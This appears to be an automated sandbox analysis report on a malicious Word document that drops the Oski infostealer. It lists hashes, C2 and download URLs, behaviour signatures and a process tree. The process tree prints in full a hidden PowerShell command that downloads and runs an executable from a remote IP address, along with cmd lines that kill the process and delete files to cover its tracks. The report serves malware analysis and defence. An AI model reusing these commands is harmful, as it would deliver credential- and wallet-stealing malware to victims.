Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    03/08/2021, 08:37

General

  • Target

    swift_message_723-18-22-78_2-8-2021.doc

  • Size

    229KB

  • MD5

    078124cc194f4e22437feffa2d8d5db4

  • SHA1

    ceb5ca93af0a7504d60cd42257d7f8dd6c22e0c8

  • SHA256

    77155eda52a852b224133d31047ff1aae08e915e1d7b664d326f2867647ef42d

  • SHA512

    13aca0b9b0403869946e98a36e64e68288bac7a9cfc542c9b985dd4fabd004a50f68d553258e7b4d963e887bac359f88e9fe38079b2c4a270cad75807625c3c0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

httP://185.230.160.197/yoyo/texts.exe

Extracted

Family

oski

C2

http://2.56.59.226/www/

Signatures

  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 16 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\swift_message_723-18-22-78_2-8-2021.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Users\Admin\AppData\Roaming\texts.exe
        "C:\Users\Admin\AppData\Roaming\texts.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:752
        • C:\Users\Admin\AppData\Roaming\texts.exe
          "C:\Users\Admin\AppData\Roaming\texts.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious use of WriteProcessMemory
          PID:1488
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /pid 1488 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\417960329582405\\* & exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1316
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /pid 1488
              6⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1064
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1508
      • C:\Users\Admin\AppData\Roaming\texts.exe
        "C:\Users\Admin\AppData\Roaming\texts.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        PID:1028
        • C:\Users\Admin\AppData\Roaming\texts.exe
          "C:\Users\Admin\AppData\Roaming\texts.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          PID:1200
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /pid 1200 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\520344037163558\\* & exit
            5⤵
              PID:1640
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /pid 1200
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1508
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Users\Admin\AppData\Roaming\texts.exe
          "C:\Users\Admin\AppData\Roaming\texts.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:512
          • C:\Users\Admin\AppData\Roaming\texts.exe
            "C:\Users\Admin\AppData\Roaming\texts.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks processor information in registry
            • Suspicious use of WriteProcessMemory
            PID:612
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /pid 612 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\417960329582405\\* & exit
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1708
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /pid 612
                6⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1680
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        2⤵
          PID:996

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/512-138-0x00000000004C0000-0x00000000004CD000-memory.dmp

              Filesize

              52KB

            • memory/512-136-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

              Filesize

              4KB

            • memory/512-146-0x00000000003F0000-0x0000000000426000-memory.dmp

              Filesize

              216KB

            • memory/612-149-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

              224KB

            • memory/752-94-0x0000000001030000-0x0000000001031000-memory.dmp

              Filesize

              4KB

            • memory/752-96-0x0000000004B80000-0x0000000004B81000-memory.dmp

              Filesize

              4KB

            • memory/996-142-0x000007FEFB571000-0x000007FEFB573000-memory.dmp

              Filesize

              8KB

            • memory/1028-137-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

              Filesize

              4KB

            • memory/1028-143-0x00000000058C0000-0x000000000595D000-memory.dmp

              Filesize

              628KB

            • memory/1064-69-0x0000000004822000-0x0000000004823000-memory.dmp

              Filesize

              4KB

            • memory/1064-68-0x0000000004820000-0x0000000004821000-memory.dmp

              Filesize

              4KB

            • memory/1064-87-0x0000000006280000-0x0000000006281000-memory.dmp

              Filesize

              4KB

            • memory/1064-66-0x0000000002250000-0x0000000002251000-memory.dmp

              Filesize

              4KB

            • memory/1064-67-0x0000000004860000-0x0000000004861000-memory.dmp

              Filesize

              4KB

            • memory/1064-79-0x0000000006140000-0x0000000006141000-memory.dmp

              Filesize

              4KB

            • memory/1064-89-0x000000007EF30000-0x000000007EF31000-memory.dmp

              Filesize

              4KB

            • memory/1064-88-0x00000000062C0000-0x00000000062C1000-memory.dmp

              Filesize

              4KB

            • memory/1064-80-0x0000000006170000-0x0000000006171000-memory.dmp

              Filesize

              4KB

            • memory/1064-74-0x0000000006100000-0x0000000006101000-memory.dmp

              Filesize

              4KB

            • memory/1064-70-0x00000000025D0000-0x00000000025D1000-memory.dmp

              Filesize

              4KB

            • memory/1064-71-0x0000000005240000-0x0000000005241000-memory.dmp

              Filesize

              4KB

            • memory/1200-198-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

              224KB

            • memory/1488-159-0x0000000000400000-0x0000000000438000-memory.dmp

              Filesize

              224KB

            • memory/1508-107-0x0000000002400000-0x0000000002401000-memory.dmp

              Filesize

              4KB

            • memory/1508-112-0x0000000004AA2000-0x0000000004AA3000-memory.dmp

              Filesize

              4KB

            • memory/1508-102-0x00000000021F0000-0x00000000021F1000-memory.dmp

              Filesize

              4KB

            • memory/1508-103-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

              Filesize

              4KB

            • memory/1508-109-0x0000000002910000-0x0000000002911000-memory.dmp

              Filesize

              4KB

            • memory/1508-111-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

              Filesize

              4KB

            • memory/1728-63-0x0000000075161000-0x0000000075163000-memory.dmp

              Filesize

              8KB

            • memory/1728-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

              Filesize

              64KB

            • memory/1728-61-0x000000006FBA1000-0x000000006FBA3000-memory.dmp

              Filesize

              8KB

            • memory/1728-60-0x0000000072121000-0x0000000072124000-memory.dmp

              Filesize

              12KB

            • memory/1832-114-0x0000000000C62000-0x0000000000C63000-memory.dmp

              Filesize

              4KB

            • memory/1832-124-0x00000000061D0000-0x00000000061D1000-memory.dmp

              Filesize

              4KB

            • memory/1832-126-0x0000000006340000-0x0000000006341000-memory.dmp

              Filesize

              4KB

            • memory/1832-113-0x0000000000C60000-0x0000000000C61000-memory.dmp

              Filesize

              4KB